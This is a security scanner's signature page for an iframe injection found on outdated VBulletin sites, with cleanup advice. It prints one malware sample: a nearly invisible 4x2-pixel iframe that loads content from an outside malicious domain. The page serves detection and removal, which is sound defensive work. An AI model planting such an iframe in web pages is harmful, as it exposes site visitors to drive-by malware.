SiteCheck Signatures

  1. Home
  2. Signatures
  3. SiteCheck Signatures
  4. malware-entry-mwiframeeiue

malware-entry-mwiframeeiue

Description:

Iframe used on multiple attacks against VBulletin hosts. Loads malware from:

eiueuiuewi.com

Affecting:

VBulletin sites using outdated versions.

Clean up:

This malware is generally hidden on .js or .php files without heavy encoding. Searching/replacing the malware specified below should fix it.

Malware dump (sample of malware):

<iframe src="http://eiueuiuewi.com/54N7JS34B34D5NH34J/" width="4" height="2"></iframe>